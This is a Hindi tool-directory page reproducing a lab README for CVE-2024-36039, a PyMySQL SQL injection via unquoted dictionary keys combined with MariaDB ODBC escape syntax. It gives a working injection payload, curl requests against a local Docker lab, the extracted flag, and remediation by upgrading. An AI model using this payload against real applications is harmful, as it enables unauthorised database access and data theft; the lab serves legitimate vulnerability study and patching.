Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-36039_PoC — CVE-2024-36039 के लिए PoC: PyMySQL ऑब्जेक्ट-टू-स्ट्रिंग सीरियलाइज़ेशन दोष के माध्यम से SQL इंजेक्शन का प्रदर्शन | Kitploit
उपकरण/GitHubGitHub/zenniskayy2k4/cve-2024-36039_poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षाडेटाबेस सुरक्षालैब और अभ्यास
GitHubzenniskayy2k4/cve-2024-36039_poc

CVE-2024-36039_PoC

CVE-2024-36039 के लिए PoC: PyMySQL ऑब्जेक्ट-टू-स्ट्रिंग सीरियलाइज़ेशन दोष के माध्यम से SQL इंजेक्शन का प्रदर्शन

रिपॉजिटरी देखें
14 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-36039: PyMySQL ऑब्जेक्ट इंजेक्शन से SQL इंजेक्शन PoC

Docker Python MariaDB Vulnerability CVE

CVE-2024-36039 के लिए एक संपूर्ण, प्रतिलिपि योग्य प्रूफ ऑफ कॉन्सेप्ट (PoC) प्रयोगशाला, जो दर्शाती है कि PyMySQL (संस्करण <= 1.1.0) में एक ऑब्जेक्ट इंजेक्शन भेद्यता को MariaDB के ODBC एस्केप सीक्वेंस का उपयोग करके पूर्ण SQL इंजेक्शन में कैसे बढ़ाया जा सकता है।


⚠️ कानूनी एवं नैतिक अस्वीकरण (केवल नैतिक उपयोग)

  • यह रिपॉजिटरी केवल शैक्षणिक और शोध प्रयोजनों के लिए है।
  • प्रदान किया गया कोड और तकनीकें उन किसी भी प्रणाली में हस्तक्षेप करने के लिए नहीं उपयोग की जानी चाहिए जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
  • लेखक/योगदानकर्ता इस जानकारी के दुरुपयोग से होने वाले किसी भी परिणाम या क्षति के लिए जिम्मेदार नहीं हैं।
  • इस रिपॉजिटरी का उपयोग करके, आप इन शर्तों का पालन करने के लिए सहमत होते हैं।

📖 1. भेद्यता अवलोकन

CVE-2024-36039, PyMySQL में एक भेद्यता है, जो एक शुद्ध-Python MySQL क्लाइंट लाइब्रेरी है।

जब पैरामीटरयुक्त क्वेरी (जैसे, execute("SELECT * FROM table WHERE data = %s", (my_dict,))) एक Python डिक्शनरी प्राप्त करती हैं जहाँ कुंजियाँ मानक स्ट्रिंग के बजाय कस्टम ऑब्जेक्ट होती हैं, PyMySQL इसे SQL स्ट्रिंग में क्रमबद्ध करने के लिए ऑब्जेक्ट की __str__ या __repr__ विधि का उपयोग करता है।

बग: PyMySQL ऑब्जेक्ट कुंजी के परिणामी स्ट्रिंग को एस्केप करना (सिंगल कोट्स में लपेटना) भूल जाता है। इसके परिणामस्वरूप एक कच्चा, बिना कोट वाला स्ट्रिंग सीधे डिक्शनरी के रूप में स्वरूपित SQL स्टेटमेंट में इंजेक्ट हो जाता है: {UnquotedObjectString: 'EscapedValue'}।


🔬 2. तकनीकी गहन विश्लेषण: MariaDB ODBC ट्रिक

अकेले, MariaDB क्वेरी में {UnquotedKey: 'Value'} इंजेक्ट करने से 1064 सिंटैक्स त्रुटि उत्पन्न होगी क्योंकि {} मानक SQL डेटा सिंटैक्स नहीं है।

हालाँकि, MariaDB/MySQL ODBC एस्केप सीक्वेंस का समर्थन करता है, जो घुंघराले ब्रेसेस {} का उपयोग करते हैं। सिंटैक्स त्रुटि को दरकिनार करने के लिए, { के तुरंत बाद की स्ट्रिंग एक मान्य ODBC कीवर्ड (जैसे, d, t, ts, fn) होनी चाहिए।

शोषण श्रृंखला:

  1. ऑब्जेक्ट कुंजी (इंजेक्शन बिंदु): हम एक कस्टम ऑब्जेक्ट तैयार करते हैं जो अपनी __repr__ विधि के माध्यम से fn/* लौटाता है।
  2. मान (पेलोड): हम डिक्शनरी का मान */ 1} UNION SELECT 1, flag, 3 FROM secret -- पर सेट करते हैं।
  3. PyMySQL क्रमबद्धता: PyMySQL इस डिक्शनरी को कुंजी को कोट किए बिना SQL क्वेरी में स्वरूपित करता है:
    root@kitploit:~
    SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
    
  4. MariaDB पार्सिंग जादू:
    • {fn : MariaDB एक ODBC स्केलर फ़ंक्शन की शुरुआत को पहचानता है।
    • /*: "'*/ : MariaDB इसे ब्लॉक टिप्पणी के रूप में मानता है। PyMySQL द्वारा उत्पन्न कोलन : और उद्घाटन कोट ' पूरी तरह से अनदेखा कर दिए जाते हैं!
    • 1} : ODBC फ़ंक्शन को पूरा करता है (प्रभावी रूप से पूर्णांक 1 लौटाता है)।
    • UNION SELECT 1, flag, 3 FROM secret : हमारा इंजेक्ट किया गया SQL पेलोड निष्पादित होता है।

परिणाम: एक त्रुटिहीन SQL इंजेक्शन जो एप्लिकेशन लॉजिक और PyMySQL की पैरामीटरकरण दोनों को दरकिनार कर देता है!


🛠️ 3. प्रयोगशाला सेटअप निर्देश

पूर्वापेक्षाएँ

  • Docker
  • Docker Compose

स्थापना

इस रिपॉजिटरी को क्लोन करें और वातावरण को चालू करें:

root@kitploit:~
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build

(MariaDB कंटेनर के पूरी तरह से प्रारंभ होने के लिए लगभग 15-20 सेकंड प्रतीक्षा करें)।


🎯 4. शोषण चरण

चरण 1: सामान्य अनुरोध

एक मानक JSON अनुरोध भेजें। बैकएंड JSON कुंजी को CustomKey ऑब्जेक्ट में कास्ट करेगा।

root@kitploit:~
curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"yamato": "Any_value"}'

प्रतिक्रिया: आपको एक SQL सिंटैक्स त्रुटि मिलेगी जो दर्शाती है कि {yamato: "'Any_value'"} अमान्य SQL है, जो इंजेक्शन बिंदु की पुष्टि करता है।

चरण 2: शोषण (फ्लैग निकालना)

सिंटैक्स त्रुटि को दरकिनार करने और secret तालिका से छिपे हुए फ्लैग को निकालने के लिए ODBC एस्केप सीक्वेंस पेलोड इंजेक्ट करें।

root@kitploit:~
curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'

प्रतिक्रिया (PWNED!):

root@kitploit:~
{
  "data":[
    {
      "device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
      "id": 1,
      "log_data": "3"
    }
  ],
  "status": "success"
}

🛡️ 5. निवारण

इस भेद्यता को ठीक करने के लिए, PyMySQL को संस्करण 1.1.1 या बाद के संस्करण में अपग्रेड करें।

पैच किए गए संस्करणों में, डेवलपर्स यह सुनिश्चित करते हैं कि SQL स्टेटमेंट में डालने से पहले सभी डिक्शनरी कुंजियाँ, चाहे उनका प्रकार कुछ भी हो, ठीक से एस्केप और कोट की जाती हैं।

root@kitploit:~
pip install --upgrade PyMySQL

📚 6. श्रेय और संदर्भ

  • CVE-2024-36039 परामर्श: NVD - CVE-2024-36039
  • PyMySQL सुरक्षा पैच: PyMySQL GitHub Release v1.1.1
  • MariaDB ODBC एस्केप सीक्वेंस: MariaDB दस्तावेज़ीकरण।
  • प्रेरणा: यह प्रयोगशाला वातावरण ऑब्जेक्ट-से-स्ट्रिंग क्रमबद्धता दोषों से जुड़ी आधुनिक वेब शोषण तकनीकों के आधार पर तैयार किया गया था।

अस्वीकरण: यह रिपॉजिटरी केवल शैक्षणिक और शोध प्रयोजनों के लिए बनाई गई है। इन तकनीकों का उपयोग उन प्रणालियों के विरुद्ध न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है।

© 2026 zenniskayy द्वारा। एक सुरक्षित इंटरनेट के लिए निर्मित।

टूल डाउनलोड करें
  • -- '"} : SQL टिप्पणी शेष ट्रेलिंग कचरे ('}) को अनदेखा कर देती है।